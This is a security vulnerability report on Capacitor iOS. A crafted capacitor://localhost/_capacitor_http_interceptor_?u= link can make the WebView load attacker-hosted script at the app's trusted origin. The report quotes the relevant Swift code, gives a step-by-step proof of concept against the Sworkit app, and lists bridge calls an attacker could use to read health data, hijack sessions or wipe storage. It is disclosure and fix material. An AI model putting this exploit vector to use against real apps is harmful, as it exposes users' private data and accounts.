| Description | A Capacitor iOS application is a web app running inside a native WKWebView, where JavaScript executing at the app's own local origin (commonly capacitor://localhost) gains access to a privileged native bridge (Capacitor.Plugins.*) exposing device APIs and app state. The expected security boundary is that a normal link to an external site (e.g. https://example.com) leaves the trusted local origin - handled as external web content or opened outside the app - where the Capacitor bridge, local storage, and IndexedDB are unavailable. This is the same class of origin-boundary break as the Android sibling finding (submitted separately), reusing the identical http-interceptor design, but the vulnerable code paths, language, and exact mechanics are entirely iOS-specific (Swift, WKWebView, WKURLSchemeHandler, WKNavigationDelegate), so it is reported as a distinct issue.
Capacitor iOS defines an internal HTTP proxy path and query parameter:
public static let httpInterceptorStartIdentifier = "/_capacitor_http_interceptor_"
public static let httpInterceptorUrlParam = "u"
(CapacitorBridge.swift, lines 1853-1860)
When the WebView navigates to capacitor://localhost/_capacitor_http_interceptor_?u=https://attacker.example/, the custom WKURLSchemeHandler implemented in WebViewAssetHandler.swift treats it as an internal Capacitor URL:
if url.path.starts(with: CapacitorBridge.httpInterceptorStartIdentifier) {
handleCapacitorHttpRequest(urlSchemeTask, localUrl, false)
return
}
(WebViewAssetHandler.swift, lines 1338-1341)
It then rewrites the outbound request to the attacker-supplied target and fetches it with URLSession:
if let targetUrl = urlComponents?.queryItems?.first(where: { $0.name == CapacitorBridge.httpInterceptorUrlParam })?.value, !targetUrl.isEmpty {
urlRequest.url = URL(string: targetUrl)
}
let task = URLSession.shared.dataTask(with: urlRequest) { ... }
(WebViewAssetHandler.swift, lines 1519-1528)
Separately, the WKNavigationDelegate's navigation-allow logic (WebViewDelegationHandler.swift, lines 1080-1103) decides whether a navigation is "application" (trusted, in-app) traffic purely by string-prefix matching the app's configured local/server URL:
let isApplicationNavigation = navURL.absoluteString.starts(with: bridge.config.serverURL.absoluteString) ||
navURL.absoluteString.starts(with: bridge.config.localURL.absoluteString)
if !isApplicationNavigation, toplevelNavigation {
UIApplication.shared.open(navURL, options: [:], completionHandler: nil)
decisionHandler(.cancel)
return
}
decisionHandler(.allow)
Because capacitor://localhost/_capacitor_http_interceptor_?... starts with the app's trusted local URL, this check treats it as ordinary in-app navigation and never routes it out via UIApplication.shared.open(). Combined with the scheme handler above, the WebView is made to fetch attacker-controlled remote content and inject the response into the WebView through the app's own trusted local origin. Any script returned by that attacker-controlled URL then executes with same-origin access to localStorage, sessionStorage, IndexedDB, and Capacitor.Plugins.* - the app's full native bridge - exactly as if it were first-party app code.
Testing note: on iOS, the link used for delivery must NOT carry target="_blank". Capacitor's WKUIDelegate handles new-window navigations by immediately calling UIApplication.shared.open(...) (WebViewDelegationHandler.swift, lines 1426-1434), which routes those specific requests to the external browser/OS instead. A plain same-frame link (no target attribute) is the working exploit vector.
Root cause (both required for a complete fix):
1. WebViewAssetHandler.swift unconditionally proxies any request whose path starts with the interceptor identifier, with no restriction to legitimate internal HTTP-plugin-initiated requests.
2. WebViewDelegationHandler.swift's isApplicationNavigation check treats the interceptor path as trusted in-app navigation purely because it string-prefixes the local URL, without excluding the interceptor path.
PROOF OF CONCEPT (representative production app used for validation only: Sworkit, 5M+ installs; Sworkit was not separately notified because the root cause is entirely in Capacitor's shared framework code, not in Sworkit's own implementation):
Sworkit lets any authenticated, non-privileged user create a "personal challenge" with a Quill rich-text description, later rendered in a Quill viewer where inserted links remain clickable. Steps:
1. Open Sworkit, create a personal challenge, and reach the description step.
2. Add a Quill hyperlink whose saved HTML does not include target="_blank".
3. Set the link URL to:
capacitor://localhost/_capacitor_http_interceptor_?u=https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c
4. Save the challenge and share the invite link with a target.
5. When the victim taps the link, Capacitor treats it as an application-local navigation (it starts with capacitor://localhost), the scheme handler matches /_capacitor_http_interceptor_, extracts u, fetches the attacker-controlled page, and injects it into the WebView at the app's trusted local origin.
A weaponized PoC URL was tested (source at https://gist.github.com/Lytes/8935b12deeae423fcccfb479a89f0335):
capacitor://localhost/_capacitor_http_interceptor_?u=https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c/
The JavaScript served from that page only prints readable values - it does not exfiltrate, write, delete, or persist anything - but an attacker could trivially replace it with code exercising the full bridge, e.g.:
Capacitor.Plugins.SworkitMobile.logInToFirebaseWithCustomToken({token}) // re-auth as another user if a valid token is obtained
Capacitor.Plugins.SworkitMobile.healthRead({startDate,endDate}) // read raw health data
Capacitor.Plugins.SworkitMobile.healthStore({...}) // write fabricated workout data
Capacitor.Plugins.SworkitMobile.getRemoteConfigValueForKey({key}) // read remote config / feature flags
Capacitor.Plugins.SworkitMobile.signOutNativeFirebase() // sign out the native Firebase session
Capacitor.Plugins.SworkitMobile.getAdvertisingId()
Capacitor.Plugins.Preferences.keys() / get({key}) / set({key,value}) / clear() // read, enumerate, write, or wipe all local key-value storage
IMPACT: Full JavaScript execution at the Capacitor app's local origin inside the iOS WebView, gaining attacker-controlled access to localStorage, sessionStorage, IndexedDB, and every registered Capacitor.Plugins.* method - for Sworkit specifically, plugin methods and stored state tied to authentication, health data, purchases, preferences, notifications, and app configuration. The attack requires only a tap on attacker-controlled content rendered inside the app WebView - a realistic delivery path for apps with user-generated content: team invites, chat messages, comments, rich-text descriptions, support chat, or CMS-driven links. This is not specific to Sworkit: any Capacitor iOS app that renders user-controlled clickable links is a viable delivery surface, independent of that app's own code quality, because the flaw is in Capacitor's shared WebView/bridge plumbing.
SUGGESTED FIX (both recommended):
1. In WebViewDelegationHandler.swift, reject app-local navigations whose path starts with the internal proxy path BEFORE the isApplicationNavigation allow decision:
if navURL.path.starts(with: CapacitorBridge.httpInterceptorStartIdentifier) {
decisionHandler(.cancel)
return
}
(placed before the existing isApplicationNavigation check at WebViewDelegationHandler.swift lines 1080-1103)
2. In WebViewAssetHandler.swift, restrict the /_capacitor_http_interceptor_ scheme-handler branch (lines 1338-1341) so it cannot be triggered by arbitrary document/top-level-frame navigation from app content - it should only service legitimate internal HTTP-plugin-initiated requests, not user-clickable links or top-level WebView navigations.
Code references:
- CapacitorBridge.swift, lines 1853-1860 (interceptor constants)
- WebViewAssetHandler.swift, lines 1338-1341 (scheme-handler proxy entry) and lines 1519-1528 (URL rewrite/fetch)
- WebViewDelegationHandler.swift, lines 1080-1103 (navigation allow logic) and lines 1426-1434 (target="_blank" handling via UIApplication.shared.open)
|
|---|